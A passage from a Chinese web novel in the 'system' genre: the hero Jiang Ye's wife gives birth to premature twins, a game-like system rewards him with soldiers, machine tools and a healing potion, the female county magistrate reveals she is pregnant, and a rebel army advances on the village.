“是王翠花!”巡逻的护院队队员认出了她。
王囤闻声赶来,当他看到被按在地上的王翠花,以及被砸坏的锁头时,那张憨厚的脸瞬间阴沉得能滴出水来。
“你个毒妇!竟敢偷粮仓!”
王翠花见事情败露,立刻使出了自己的看家本领,一屁股坐在地上,开始撒泼打滚:“哎哟!**啦!没天理啦!我不就是饿得不行,想来讨口吃的吗?你们就要打死我啊!”
她哭天抢地,声音传遍了半个村子。不少村民被惊动,披着衣服走出家门,围了过来。
然而,当他们看清闹剧的主角是王翠花时,脸上却没有丝毫同情,只有毫不掩饰的鄙夷和厌恶。
“偷东西还有理了?”
“就是,当初江先生分神肥的时候,她骂得最凶,现在倒有脸来偷粮了?”
“活该!饿死她才好!”
人群的议论声像一根根针,扎在王翠花心上。她没想到,自己竟然落到了这步田地。
她猛地从人群中看到了王大壮的身影,像是抓住了最后一根救命稻草,疯了一样朝他爬过去,抱住他的腿:“大壮!大壮你快跟他们说啊!我不是故意的!我是你婆娘啊!你不能眼睁睁看着他们欺负我!”
王大壮低头,看着脚下这个涕泪横流、状若疯妇的女人,眼神里没有一丝波澜。
他只是抬起脚,将她的手,一根一根地,从自己的裤腿上掰开。
然后,他一言不发,转身,没入了人群。
这无声的举动,比任何咒骂都更加决绝。
王翠花彻底傻了,她呆呆地看着王大壮消失的背影,心,一瞬间沉到了谷底。
王囤冷冷地看着她,挥了挥手:“把她给我丢出村外去!让她自生自灭!”
“是!”
两个护院队员架起瘫软如泥的王翠花,像拖一条死狗一样,将她拖到了村口,狠狠地扔在了雪地里。
全村人,就这么冷眼旁观,没有一个人为她求情。
刺骨的寒风卷着雪花,刮在王翠花的脸上,像刀子一样疼。她趴在地上,看着村里那温暖的灯火,听着那隐约传来的欢声笑语,一股彻骨的冰冷与绝望,将她彻底吞没。
“哇——”她终于崩溃了,趴在雪地里崩溃大哭。
……
与村外的冰冷绝望不同,江家大院内,灯火通明,温暖如春。
一张巨大的圆桌上,摆满了珍馐美味。
红烧肉色泽红亮,清蒸鲈鱼鲜香扑鼻,还有一大盆用新米熬制的鸡丝粥,香气四溢。
“来,尝尝这个。”
江夜夹起一块烫好的羊肉,吹了吹,放进白梦夏的碗里。
白梦夏身子愈发丰腴,脸颊带着淡淡的婴儿肥,那股子母性的光辉让她看起来比平日里还要美上三分。
“谢谢夫君。”白梦夏柔柔一笑,眉眼弯弯。
“我也要!”慕容晴挺着个大肚子,不甘示弱地敲了敲碗,“夫君偏心!”
“你这馋猫。”江夜失笑,又夹了一块肉放她碗里,“少吃点肉,不好消化。”
“哎呀,知道了知道了。”慕容晴嘴上抱怨,吃得却比谁都香,“按理这会就该配烧刀子!也就是怀了这小崽子,不然今天非得跟夫君喝个痛快!”
林间雪坐在一旁,安安静静地剥着虾壳,剥好一个便放进江夜碗里,偶尔抬头看一眼江夜,眼神里满是柔情蜜意。
白梦秋坐在姐姐旁边,手里抓着个鸡腿啃得满嘴流油,腮帮子鼓鼓的像只小仓鼠。
“梦秋,慢点吃,没人和你抢。”白梦夏无奈地替妹妹擦了擦嘴角的油渍。
“夫君做的饭太好吃了嘛。”白梦秋含糊不清地嘟囔着。
江夜看着这一屋子的莺莺燕燕,心中涌起一股难以言喻的满足感。
突然。
白梦夏
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的手猛地一抖,筷子掉在桌上。
原本红润的脸色瞬间变得煞白,细密的冷汗从额头沁出。
“唔……”
一声压抑的痛呼从她喉咙里溢出。
“梦夏?”江夜正笑着,听到动静转头一看,心头猛地一跳,“怎么了?”
白梦夏双手死死抓着桌沿,指节泛白,呼吸急促:“夫……夫君……肚子……疼……”
话音未落,一股温热的液体顺着她的裙摆流下,很快便打湿了脚下的地毯。
羊水破了!
江夜脑子里“嗡”的一声。
算算日子,这才八个月!
“不好!要生了!”
江夜反应极快,手中的酒杯一扔,他一步跨过去,一把将白梦夏打横抱起。
“稳婆!快叫稳婆!”
原本温馨的宴席瞬间乱作一团。
“姐姐!”白梦秋吓得小脸惨白,手里的肉掉在地上,眼泪瞬间就在眼眶里打转,想去拉姐姐的手,又怕添乱。
“别愣着!”江夜抱着白梦夏大步往卧房冲,一边跑一边吼,“晴儿,你去烧热水!越多越好!雪儿,去拿干净的毛巾和剪刀!快!”
“好!”慕容晴到底是当过寨主的,虽然也慌,但听到命令立刻回过神来,挺着大肚子动作却不慢,转身就往厨房跑,“雪儿妹妹跟我来!”
林间雪早已吓得六神无主,听到慕容晴的招呼,这才如梦初醒,慌慌张张地跟了上去。
卧房内。
江夜将白梦夏轻轻放在床榻上。
此时的白梦夏已经疼得说不出话来,整个人像是从水里捞出来的一样,死死抓着江夜的手。
“夫君……疼……我是不是要**……”
“胡说八道!”江夜握紧她的手,替她擦去被冷汗浸湿的乱发,声音虽然沉稳,但微微颤抖的手却出卖了他内心的恐慌,“有我在,阎王爷也不敢收你!别怕,深呼吸!”
“来了来了!稳婆来了!”
门外传来王囤的大嗓门。
李稳婆一进屋,闻到那股血腥气,脸色就是一变。
她看了一眼白梦夏的情况,立刻把江夜往外推:“哎哟我的江先生嘞,这是早产!女人生孩子男人在里面那是添乱,快出去!快出去!”
“我陪着她!”江夜急道。
“你在这儿她分心!快出去!”李稳婆直接把江夜推到了门外,关上了房门。
江夜站在门外,看着紧闭的房门,拳头捏得咯吱作响。
“啊——!!!”
屋内传来白梦夏撕心裂肺的惨叫声。
那声音尖锐凄厉。
江夜身子一颤,脸色难看。
他在院子里来回踱步。
这一刻,脑子里只有一个念头,就是想要里面那个女人平安。
第215章 双生麟儿,系统炸裂奖励
白梦秋听着里面的声音,整个人缩在石凳旁,小脸煞白。
她紧紧攥着衣角,眼泪无声地往下掉,显然是被姐姐那撕心裂肺的动静吓坏了。
江夜深吸一口气,强行压下心头的焦躁,大步走过去,单手将白梦秋揽入怀中。
“别怕。”
江夜的手掌在她颤抖的脊背上轻轻拍着,声音低沉有力,“你姐福大命大,又有稳婆在,不会有事的。”
“夫君……我怕……”白梦秋把脸埋进江夜的胸口,声音带着哭腔,“姐姐流了好多血……”
“女人生孩子都要走这一遭鬼门关。”江夜感受到怀中少女的恐惧,手臂不由得收紧了几分,
时间一分一秒过去,仿佛被无限拉长。
屋内的惨叫声渐渐弱了下去,取而代之的是令人心慌的沉寂。
江夜的心瞬间提到了嗓子眼,正欲踹门而入。
突然。
“哇——!!!”
一声嘹亮有力的啼哭声划破夜空,瞬间震散了院中凝重得让人窒息的空气。
江夜浑身猛地一震,揽着白梦秋的手骤然僵住,猛地抬头看向房门。
生了!
然而,惊喜未定。
“哇……呜……”
紧接着,又是一声啼哭响起。
比起第一声的洪亮,这第二声显得稍显稚嫩,却又透着一股子倔强的劲头。
两个?
院子里的几人面面相觑,都从对方眼中看到了不可思议。
“吱呀——”
紧闭许久的房门终于打开。
李稳婆满头大汗地跑了出来,那张满是褶子的老脸上,笑得五官都挤在了一起,扯着嗓子喊道:
“恭喜江先生!贺喜江先生!”
“是双生子!两个带把儿的公子!母子平安!”
双胞胎!
还是两个儿子!
在这个时代,双生子本就少见,母子平安更是天大的福分。
江夜大脑“嗡”的一声,狂喜如同决堤的洪水瞬间涌上心头,将之前的焦虑冲刷得干干净净。
什么规矩,什么忌讳,此刻统统被他抛到了九霄云外。
“赏!重赏!”
江夜扔下一句话,松开白梦秋,像一阵风似的冲进了产房。
屋内弥漫着一股浓重的血腥味,混合着热水蒸腾的雾气。
床榻上。
白梦夏脸色苍白如纸,原本丰润的脸颊此刻毫无血色,额前的发丝被冷汗浸透,凌乱地贴在脸上。
她虚弱地半睁着眼,胸口微微起伏,显然已经耗尽了最后一丝力气。
而在她身侧的襁褓里,并排躺着两个皱巴巴的小家伙。
皮肤红通通的,浑身皱皱巴巴的,闭着眼,小拳头却攥得紧紧的。
江夜放轻了脚步。
他走到床边,没有先去看孩子,双手紧紧握住白梦夏冰凉的手,贴在自己脸上。
“梦夏……”
江夜声音沙哑,眼眶微红,“辛苦了。”
简单的三个字,却包含了太多的心疼与后怕。
白梦夏费力地转过头,看着眼前这个平日里泰山崩于前而面不改色的男人,此刻竟红了眼眶,心中不由得一暖。
她虚弱地扯了扯嘴角,目光温柔地落在身边的两个襁褓上,眼中满是母性的光辉。
“夫君……看看孩子……”
江夜这才转头,看向那两个丑萌的小生命。
这就是他的血脉。
在这个陌生的异世界,他终于有了真正的根。
一种血脉相连的奇妙感觉油然而生,心脏最柔软的地方仿佛被狠狠撞击了一下。
他伸出手指,小心翼翼地触碰了一下老大那皱巴巴的小脸蛋。
就在指尖触碰到孩子皮肤的瞬间。
沉寂许久的系统提示音,在他脑海中疯狂炸响!
【叮!恭喜宿主诞下双胞胎子嗣!家族血脉延续成功!】
【检测到宿主初为人父,且为双生子,奖励大幅度暴击!】
【获得奖励1:宿主寿命+20年!全属性+20(力量、敏捷、体质、精神)!】
【获得奖励2:死士召唤卡*100(绝对忠诚,自带精良唐刀、连**、黑甲,精通战阵杀伐)!】
【获得奖励3:初级工业母机一套(包含高精度车床、铣床、钻床,可制造精密零件,开启工业化大门)!】<
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br>【获得奖励4:现代医疗舱*1(只要有一口气,充能后即可救回,附带生命修复液提取功能,可完美解决早产儿体质虚弱问题)!】
一连串的金色大字在意识脑海中刷屏。
江夜瞳孔猛地收缩。
这奖励……炸了!
寿命增加二十年也就罢了,那全属性加二十是什么概念?
普通成年男子的标准值是5,他之前的体力是15,已经是常人的三倍。
如今全属性暴涨20,意味着他将变成一个人形凶兽!
还有那一百名死士!
有了这一百名全副武装、绝对忠诚的死士,这方圆百里,谁还敢动稻花村分毫?
更别提那工业母机和医疗舱!
工业母机意味着他能在这个冷兵器时代制造出超越时代的器械,而医疗舱……
江夜看了一眼两个早产的儿子,心中最后的一丝担忧也烟消云散。
有了这东西,哪怕是早产两个月,也能把这两个小家伙养得壮得像牛犊子!
“轰——”
没等江夜细想,一股磅礴的暖流瞬间席卷全身。
这股力量霸道而炽热,顺着经脉疯狂游走,冲刷着他的四肢百骸。
骨骼发出细微的爆鸣声,原本就精壮的肌肉线条变得更加流畅完美,充满了**性的力量感。
听觉、视觉、嗅觉……所有的感官在一瞬间被无限放大。
他甚至能清晰地听到门外白梦秋急促的心跳声,听到百米外老槐树上叶片飘落的轻响。
脱胎换骨!
江夜握了握拳,感受着体内奔涌如江河的力量,嘴角勾起一抹自信的弧度。
在这个乱世。
拳头硬,才是硬道理。
“夫君……你怎么了?”
白梦夏察觉到江夜的神色变化,有些担忧地问道。
江夜回过神,收敛起身上的气势,温柔地替她掖了掖被角。
“没事,就是太高兴了。”
他俯下身,在白梦夏光洁的额头上轻轻一吻,又分别亲了亲两个儿子的脸蛋。
“梦夏,你立了大功。”
“从今往后,咱们江家,有后了!”
第216章 祖传秘药,取名平安
白梦夏虽然脸上带着为人母的喜悦,但那苍白如纸的脸色和微弱的气息,怎么看都让人揪心。
早产加上双生子,这鬼门关她是硬生生闯过来的,身子骨亏空得厉害。
“你们先照看下孩子。”江夜替白梦夏掖了掖被角,起身道,“我去取些补品,梦夏这身子得立刻补补。”
“夫君,家里那些参汤不是现成的吗?”林间雪正拿着温热的帕子给白梦夏擦汗,疑惑地问了一句。
“那些太慢,我有更好的。”
江夜没多解释,转身大步走出了房间。
避开院子里还在的王囤等人,江夜闪身进了书房,反手落锁。
心念一动。
【叮!医疗舱已激活。】
眼前光影扭曲,一个极具科幻感的银白色舱体凭空出现在意识空间内。
江夜没空研究这玩意儿的具体构造,直接下达指令:“提取生命修复液,稀释版,适合产妇及新生儿体质。”
“滋——”
轻微的机械运转声后,一支试管凭空出现在他手中。
里面的液体呈现出一种充满生机的淡绿色,仿佛流动的翡翠,散发着淡淡的荧光。
江夜深吸一口气,将试管收入袖中,快步返回卧房。
推开门,屋内的气氛依旧有些凝重。
李稳婆正在给两个小家伙擦洗,嘴里虽说着吉祥话,但眉头却皱着。
这两个孩子毕竟是七个月早产,哭声细弱,看着就让人提心吊胆。
“都让让。”
江夜走到床边,扶起白梦夏。
“夫君……”白梦夏虚弱地睁开眼,连说话的力气都没了。
“乖,把这个喝了。”江夜拔开试管塞子,将那淡绿色的液体递到她唇边,“喝下去就不疼了。”
林间雪和李稳婆都好奇地凑过来。
“江先生,这是啥啊?绿油油的,怪好看的。”李稳婆忍不住问道,“莫不是什么神仙露水?”
“祖传的药。”江夜随口应付了一句,小心翼翼地喂白梦夏喝下。
液体入口清凉,带着一股淡淡的草木清香,顺着喉咙滑入胃里。
下一秒,神奇的一幕发生了。
白梦夏只觉得一股暖流瞬间在腹中炸开,沿着四肢百骸疯狂游走。
原本那种仿佛身体被掏空的虚弱感,竟像潮水般迅速退去。
撕裂般的剧痛消失了,取而代之的是一种难以言喻的舒泰。
紧接着,她原本惨白得像**一样的脸颊,竟以肉眼可见的速度浮现出一抹红润。
呼吸变得平稳有力,就连原本涣散的眼神也重新变得清亮起来。
“这……”
李稳婆眼珠子都要瞪出来了,手里刚拧干的帕子“啪嗒”掉在地上。
她接生了几十年,见过产后大出血救回来的,也见过吃人参吊命的,可从来没见过喝一口绿水就能立马还魂的!
这哪是补药,这简直就是太上老君的仙丹啊!
“神了!真是神了!”李稳婆颤抖着手,看着江夜的眼神更加敬畏,“江先生果然是神农转世,连这种起死回生的神药都有!”
林间雪也是捂着小嘴,满脸震惊。
白梦夏试着动了动胳膊,竟然感觉不到一丝疲惫。
“夫君,我……我不疼了,身上也有劲儿了。”她抓着江夜的手,美眸中满是崇拜与爱意,“你这祖传的药真管用。”
江夜淡然一笑,又倒了一点残液在指尖,分别抹在两个儿子的嘴唇上。
两个小家伙原本哼哼唧唧的,尝到那甘甜的味道,立马吧唧吧唧嘴,也不哭了。
原本有些发青的小脸蛋迅速变得红扑扑的,甚至还伸展了一下蜷缩的小胳膊。
这时候,门被推开,白梦秋和慕容晴一前一后走了进来。
看到姐姐气色红润地靠在床头,白梦秋愣了一下,随即惊喜地扑了过去:“姐姐!你没事了?刚才吓死我了!”
“没事了,你看你,哭得跟个小花猫似的。”白梦夏笑着替妹妹擦去眼泪。
慕容晴挺着大肚子
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,凑到两个襁褓前看了看,撇撇嘴道:“哎哟,这皱巴巴的,跟小猴子似的,长得像谁啊?”
“刚生出来都这样,长开了就好看了。”李稳婆乐呵呵地说道,“这两个公子哥天庭饱满,将来肯定是大富大贵的命!”
“夫君,给孩子取个名吧。”白梦夏温柔地看着两个熟睡的小家伙。
众人的目光都集中在江夜身上。
江夜看着这两个小生命,心中感慨万千。
外头兵荒马乱,人命如草芥。
他虽有系统傍身,有死士护卫,但在这乱世之中,最大的愿望也不过是护住这一家老小周全。
他伸出手指,轻轻逗弄了一下老大的下巴,沉吟片刻道:
“老大叫江平。”
他又看向那个稍小一点的老二:
“老二叫江安。”
“平平安安?”白梦夏念叨了两遍,嘴角勾起一抹温柔的笑意,“好名字。这世道乱糟糟的,不求他们大富大贵,只要能平平安安长大,便是最大的福分了。”
“江平,江安……”慕容晴摸了摸自己的肚子,嘀咕道,“那我这肚子里的要是出来,叫什么?江顺?江利?”
“噗嗤。”林间雪忍不住笑出了声,“晴姐姐,那是做买卖才求顺利呢。”
屋内的气氛瞬间变得欢快起来,全然没了之前的紧张与压抑。
白梦秋趴在床边,看着那两个小小的婴儿,眼神里充满了好奇与羡慕。
她小心翼翼地戳了戳江平的小脸蛋,软乎乎的触感让她心里痒痒的。
她下意识地摸了摸自己隆起的小腹,转头看向那个站在灯火下、身姿挺拔的男人。
夫君这么厉害,连生孩子这种鬼门关都能轻易化解。
若是自己生的时候……
想到这里,白梦秋小脸一红。
“好了,让梦夏歇着吧。”江夜见时候不早了,便开口赶人,“今晚雪儿留下来照看,其他人回去睡觉。”
“是,夫君。”
众人应声退下。
第217章 铁甲死士,工业萌芽
夜深人静,月隐星稀。
江夜独自一人悄然出了院子,身影几个闪烁,便消失在村外浓稠的夜色里。
他一路来到村后数里外的密林深处,这里人迹罕至,是最好的隐秘之地。
确认四周无人后,江夜心念一动,从系统空间中取出了那张散发着幽光的【死士召唤卡】。
“使用。”
他默念一声,指尖的卡片无火自燃,化作一缕青烟消散。
下一刻,他面前的空气开始诡异地扭曲,荡开一圈圈无形的涟漪。
一百道黑色的影子,就那么凭空出现,无声无息。
他们整齐划一地排列着,每一个人都笼罩在厚重的黑铁重甲之下,隐藏在面具后的眼睛里,没有任何感情。
腰间悬挂着狭长而锋利的唐刀,刀柄上缠绕的黑布透着一股肃杀之气。
背后,则是一把结构精密的连**,**身上闪烁着冰冷的金属光泽。
“唰!”
随着领头之人一个简单的手势,一百名死士动作整齐划一,单膝跪地,右手抚胸。
他们的动作仿佛一个模子里刻出来的。
“拜见主人!”
一百人的声音里没有丝毫杂念,只有对江夜绝对的忠诚。
江夜负手而立,目光平静地扫过眼前这支完全属于自己的力量。
这就是他在这乱世之中,安身立命的最强底牌。
有了他们,稻花村算真正有了根基,不再是任人拿捏的肥肉。
“起。”
他淡淡吐出一个字。
一百名死士再次整齐划一地站起,静立如松。
江夜满意地点点头,转身向村子走去:“跟上。”
一百道黑影如鬼魅般跟在他身后,踏在枯枝败叶上,竟没有发出半点声音。
回到村中,江夜直接来到护村队的营房,将已经睡下的王囤叫了起来。
王囤睡眼惺忪地披着衣服出来,一看到江夜身后那一百名铁甲武士,瞬间一个激灵,瞌睡虫跑得无影无踪。
“东……东家?”王囤瞪大了眼睛,看着那些人身上厚实的铠甲和锋利的兵刃。
这些人身上那股子血腥味和杀气,是他这辈子都没见过的。
“不必惊慌。”江夜的语气很平淡,“他们是我在外秘密培养的家将,如今才算学成归来。”
家将?
王囤咽了口唾沫,心里掀起了惊涛骇浪。
他知道东家本事通天,却没想到他暗地里还藏着这么一支可怕的力量。
“从今日起,你便是护院队的总队长。”
江夜看着王囤,继续说道,“他们一百人,会以小队长的身份,混编入护院队,负责日常的训练和守卫事宜。你要做的,就是尽快让他们和村里的弟兄们磨合。”
“是!先生放心!王囤保证完成任务!”王囤挺直了腰杆,大声应道。
将这么一支精锐交给他统领,他知道,这是对他的绝对信任。
……
日子仿佛又恢复了往日的平静。
白梦夏在生命修复液的帮助下,产后恢复得极好,不过几日便能下床走动,气色甚至比生产前还要红润。
两个小家伙江平和江安,也一扫早产儿的羸弱,变得粉雕玉琢,分外可爱。
这天午后,阳光正好。
院子里的摇椅上,白梦夏正抱着老二江安,轻轻哼着不知名的小调。
林间雪则在一旁,小心翼翼地给躺在摇篮里的老大江平喂着稀释过的羊奶。
白梦秋挺着七个月大的肚子,坐在旁边的石凳上,看着姐姐逗弄孩子的模样,眼中满是羡慕和渴望。
她挪了挪身子,凑到江夜身边,拉着他的手轻轻摇晃。
“夫君……”
她的声音软糯,带着几分撒娇的意味。
“怎么了?”江夜转头,宠溺地看着她。
“你现在有了平平和安安,都不怎么陪我跟肚子里的宝宝了。”白梦秋嘟着嘴,小手抚摸着自己高高隆
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起的腹部,模样娇憨可爱。
江夜失笑,伸手刮了刮她挺翘的鼻尖:“你这小醋坛子。”
他将白梦秋揽入怀中,大手覆在她圆滚滚的肚子上,感受着里面传来的阵阵胎动。
“放心,我今晚就陪你好不好?”
“那说好了!”白梦秋立刻眉开眼笑,脑袋在江夜的胸膛上蹭了蹭。
不远处的慕容晴见了,走过来敲了敲石桌:“咳咳,某些人注意点啊,这里还有个待产的呢!雨露均沾懂不懂?”
“哈哈哈……”
院中顿时响起一片欢快的笑声。
江夜看着这一院子的娇妻美妾,心中满是柔情。
雨露均沾这四个字,说起来容易做起来难。
尤其是现在几女都有孕在身,情绪敏感,江夜更是拿出了十二分的耐心,每日轮流陪伴,讲故事、揉腿、陪聊,愣是把自己练成了个全能模范丈夫。
享受了几天齐人之福后,江夜便有些坐不住了。
他将村里的事务和家中的琐事都安排妥当,便一头扎进了书房,对外宣称要闭关钻研一本古籍。
实际上,他却是将心神沉入了系统空间。
在那片专属的意识空间内,一套庞大而精密的机械组合体,正静静地矗立着——【初级工业母机】。
它由高精度车床、铣床、钻床等多个部分组成,充满了后现代工业的美感,与这个时代格格不入。
江夜走到操作台前,脑海中浮现出无数关于机械制造的知识。
他的目标很明确——电力。
如果能让稻花村亮起来,那将是划时代的变革。
他调出图纸,开始动手。
空间内,一时间火花四溅。
金属摩擦发出刺耳的尖啸,各种零件在江夜精准的操作下,被切割、打磨、钻孔……
发电机所需要的转子、定子,缠绕其上的铜线圈,甚至是最原始的竹丝白炽灯泡的雏形,都在他的手中一点点成型。
第218章 满月宴,县令大人的秘密
时光飞逝,转眼便是江平、江安两个小家伙的满月之日。
稻花村村口的大红灯笼高高挂起,一路延伸至江家大院。
如今的江夜坐拥护村队、坐享神肥。
江家双生麟儿满月,这可是青石县一等一的大事。
一大早,各式各样的马车便堵了村口的路。
“城东赵员外,送长命金锁一对,锦缎十匹!”
“李记粮庄李掌柜,送陈年女儿红十坛,白银五百两!”
“邻县王大户,送玉石屏风一座……”
报礼单的声音此起彼伏,听得围观的村民们咋舌不已。
往日里这些高高在上的老爷们,如今一个个满脸堆笑。
院内,酒香四溢。
江夜一身藏青色长袍,身姿挺拔,脸上挂着淡淡的笑意,应酬着往来的宾客。
他举手投足间气度俨然,取而代之的是一种上位者的从容。
“恭喜江先生,贺喜江先生啊!”
“双生麟儿,这可是祥瑞之兆,江家日后必是大富大贵!”
听着周围的恭维声,江夜只是笑着点头,眼神始终清明。
正热闹间,门口突然传来一阵骚动。
“沈县令到——!”
原本喧闹的院子静了一瞬,随即众人纷纷起身。
只见沈砚秋身着一袭月白色便服,虽未穿官袍,但那清冷威严的气质却掩盖不住。
“沈大人来了。”江夜快步迎了上去,拱手笑道。
沈砚秋目光在江夜脸上停留了片刻,眼底闪过一丝不易察觉的柔色,随即恢复了平日里的清冷。
“听闻江先生喜得贵子,本官特来讨杯喜酒喝。**。”
**上前一步,打开木盒。
一对温润通透、雕工精湛的玉如意静静躺在黄绸上。
“嘶——”周围响起一片吸气声。
这成色,怕是价值连城,县令大人这手笔可真不小。
“大人破费了。”江夜也不推辞,示意王囤收下,便引着沈砚秋入席。
内院,女眷那一桌更是莺莺燕燕。
白梦夏经过一个月的调养,又有江夜那祖传秘药滋润,如今面若桃花,身段甚至比生产前还要丰腴几分。
她怀里抱着老大,林间雪抱着老二,正接受着几位富商夫人的夸赞。
“这孩子长得真俊,眉眼像极了江先生。”
“是啊,你看这小胳膊小腿的,多结实。”
沈砚秋在林间雪的陪同下走了过来。
“见过沈大人。”几位夫人连忙起身行礼。
“不必多礼。”沈砚秋摆摆手,目光却不受控制地落在了两个襁褓上。
两个小家伙刚吃饱,正睁着乌溜溜的大眼睛到处看,嘴里吐着奶泡泡,可爱得让人心颤。
“这便是江平与江安?”沈砚秋声音不自觉地放轻了许多。
“正是。”白梦夏笑着应道,“大人要不要抱抱?”
沈砚秋有些手足无措,她哪里抱过这么软乎的小东西。
但在白梦夏鼓励的眼神下,她还是小心翼翼地伸出手,轻轻戳了戳老二江安那肉嘟嘟的脸颊。
软软的。
江安似乎很给面子,小手一把抓住了沈砚秋的手指,咯咯笑了起来。
那一瞬间,沈砚秋只觉得心里某块最坚硬的地方塌陷了下去。
她清冷的凤眸中,泛起了一层母性柔光,嘴角上扬起一抹温柔的弧度。
下意识地,她另一只手悄悄抚上了自己尚且平坦的小腹,眼中闪过一丝复杂。
“看来这小子很喜欢大人。”
一道醇厚的男声在耳边响起。
沈砚秋手指一缩,慌乱地抬起头。
江夜端着酒杯,正站在她身侧,似笑非笑地看着她。
两人的视线在空中交汇。
沈砚秋脸颊莫名发烫,那种只有两人才懂的暧昧在空气中流淌。
她慌忙避开江夜的视线,借着整理衣袖的动作掩饰内心的慌乱。
“咳,孩子确实可爱。”她强作镇定。
江夜嘴角笑意更深,他敏锐地捕捉到了沈砚秋刚才抚摸小腹的动作,心中隐隐有了猜测。
酒过三巡,宾客尽欢。
江夜借口醒酒,离了席,给沈砚秋递了个眼神。
沈砚秋心领神会,借口更衣,悄然退场。
书房内,檀香袅袅。
江夜反手关上门,隔绝了外面的喧嚣。
“大人今日怎么有些心神不宁?”江夜走到书桌前,靠在桌沿上,好整以暇地看着眼前这个女扮男装的绝色县令。
沈砚秋卸下了平日里伪装的强硬,有些局促地站在那里,手指绞着衣带。
“江夜,我……”
她张了张嘴,却又不知如何启齿。
“怎么?哪里不舒服?”江夜收起调笑的心思,伸手探向她的额头。
温热的大手触碰到皮肤,沈砚秋身子微微一颤,却没有躲开。
“我……我那个……迟了半月没来。”她的声音细若蚊蝇。
江夜一愣:“哪个
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?”
沈砚秋咬着下唇道:“月事!而且……近日晨起,闻不得油腻,时常干呕。”
江夜心脏猛地漏跳了一拍。
“系统!检测!”他在心中默念。
【叮!正在检测目标人物沈砚秋……】
【恭喜宿主!叮!检测到沈砚秋已怀有身孕!】
真的怀了!
江夜心中喜悦。
紧接着,系统的提示音再次炸响。
【叮!检测到宿主子嗣再添一人,触发特殊奖励!】
【奖励发放:高级畜牧养殖技术(包含优良猪种培育、饲料配方、防疫治病全套百科)!】
【奖励发放:防弹防刺服制作图纸(采用特殊编织工艺,轻便坚韧,可抵御刀剑劈砍及流矢)!】
江夜嘴角不受控制的上扬了几分,这两样东西,简直是送到了他的心坎上!
有了高级畜牧技术,稻花村就能大规模养殖,肉食供应将不再是问题。
而防弹防刺服图纸,配合之前的死士,能让他的战斗力呈几何倍数增长!
“江夜?你……你怎么不说话?”沈砚秋见江夜久久不语,心中不由得慌乱起来,“你若是不想要……”
话还没说完,她只觉得身子一轻。
“啊!”
沈砚秋惊呼一声,整个人已经**夜拦腰抱起。
“哈哈哈!想要!怎么可能不想要!”
江夜朗声大笑,抱着她在原地转了好几圈。
沈砚秋吓得花容失色,下意识地紧紧搂住江夜的脖子:“你疯了!快放我下来!若是被人看见……”
江夜轻笑了一声将沈砚秋轻轻放回地面,双手却依旧扶着她纤细的肩膀,目光坚定。
“砚秋,听好了。”
江夜的每一个字都显得沉稳而郑重。
“既然你怀了我的种,那就是我江家的人,外面的天塌下来,有我顶着。
你不管是做县令也好,还是回这稻花村做个富贵夫人也罢,只要我在,就没人能动你们母子一根汗**。”
沈砚秋看着眼前这个男人,听着他坚定的诺言,心中安定。
身为女子,哪怕平日里再如何强硬冷傲,内心也终究是个渴望依靠的小女人。
沈砚秋眼眶微红,她没有说话,只是重重地点了点头。
随后踮起脚尖,在江夜唇上如蜻蜓点水般一吻,转身逃也似的离开了书房。
看着那道匆匆离去的背影,江夜摸了摸嘴唇,嘴角勾起一抹玩味的笑意。
第219章 黑风压境,全村备战
青石县的安宁日子,不过维持了短短半月。
官道上流民的数量肉眼可见地增多了。
往日里官道上虽也有流民,大多是三三两两,但这几日,出现了大批拖家带口的流民潮,他们背着破烂的行囊,一个个眼神里透着惊恐,像是身后有什么恶鬼在追赶。
县衙后堂。
沈砚秋一身官服,眉头紧锁,手中朱笔悬在半空,迟迟未能落下。
“报——!”
忽的,一声嘶吼打破了这肃静的气氛。
一名信使跌跌撞撞冲进大堂。
“大人……出大事了……北边……黑风军……往咱们这儿来了……”
**脸色大变,连忙上前接过文书呈上。
沈砚秋一把抓过,一目十行,原本红润的脸颊瞬间褪去血色。
北方叛军黑风军被朝廷主力击溃,主力虽灭,但残部约三千人并未投降,反而杀红了眼,一路烧杀抢掠向南流窜。
这黑风军可不是占山为王的草寇,那是正儿八经的边军哗变!
装备精良,战阵娴熟,且手段极其残忍,所过之处,男丁杀尽,妇孺皆掠,
沈砚秋指尖微微发颤,若是寻常土匪,凭县里的衙役和民壮或许还能周旋一二。
但这三千正规军煞星,足以将小小的青石县踏成平地。
“大人,咱们撤吧。”**声音干涩,“凭咱们这点人手,守不住的。”
“撤?往哪撤?”沈砚秋猛地抬头,眼中闪过一抹决绝,“我是青石县令,我若走了,这满城百姓便是待宰的羔羊。”
她深吸一口气,强令自己镇定。
“**,传令下去,紧闭四门,征集城中青壮上城墙协防!”
“另外……”
沈砚秋顿了顿,提笔在一张素笺上飞快写下几行字,折好递给**,“派个腿脚利索的,立刻把这信送到稻花村,交给江夜。”
那是她此刻能想到的唯一助力。
……
稻花村,江家。
江夜陪着几位夫人用完晚饭,正准备巡视死士操练,门外却忽然传来一阵急促的脚步声。
“东家!县里来人了!”王囤的声音紧跟着响起。
江夜眉头微皱,快步推门而出。
王囤站在门口,手里拿着一封信件,见到江夜,恭敬递过去。
“是沈大人送来的,说是急信。”
江夜接过信笺,展开。
字迹有些潦草,显然是匆忙间写就,透着写信人的慌乱与不安。
只有寥寥数语:黑风军三千残部南下,势如破竹,县城危在旦夕,望君相助,若事不可为,以此信为凭,可速避之。
落款是一个“秋”字。
江夜眯起眼睛,指尖轻轻摩挲着纸张边缘。
避自然是不可能避的。
“王囤。”江夜将信纸在掌心揉碎,声音平淡,听不出喜怒。
“在!”
“从队里挑二十个身手最好的兄弟,立刻出发去县城。”
江夜目光望向县城的方向。“告诉领队的,潜伏在县衙周围,若是县城真出事了,就把沈县令毫发无损地给我带回来。”
“还有,派人暗中跟着,若是有人敢对沈大人不利,杀无赦。”
王囤浑身一震,感受到东家身上散发出的凛冽杀气,当即抱拳:“是!”
江夜负手立于庭院之中。
三千溃兵?
正好,拿你们试试我新来的****。
……
两日后,青石县以北三十里。
一支五百人的骑兵队伍正策马狂奔。
他们身上的甲胄破破烂烂,染着黑褐色的血迹,马背上挂着抢来的财物。
为首的一名壮汉勒住缰绳,眼中满是贪婪的凶光。
一个尖嘴猴腮的副将凑过来,一脸猥琐,“大哥,探子回报,前面就是清石县了,不过咱只有五百人,要是硬啃,怕是要崩掉几颗牙。”
壮汉哼了一声,眼里闪过一丝狡诈:“咱们后面还有大部队,这种攻城的苦差事让给大部队去做,咱先去周边溜一圈。”
副将朝他竖起大拇指:“大哥英明。”
“我派人打听过了,离这儿不远有个稻花村,听说那儿有个姓江的大户,富得流油!
而且还有好几个绝色美人……”
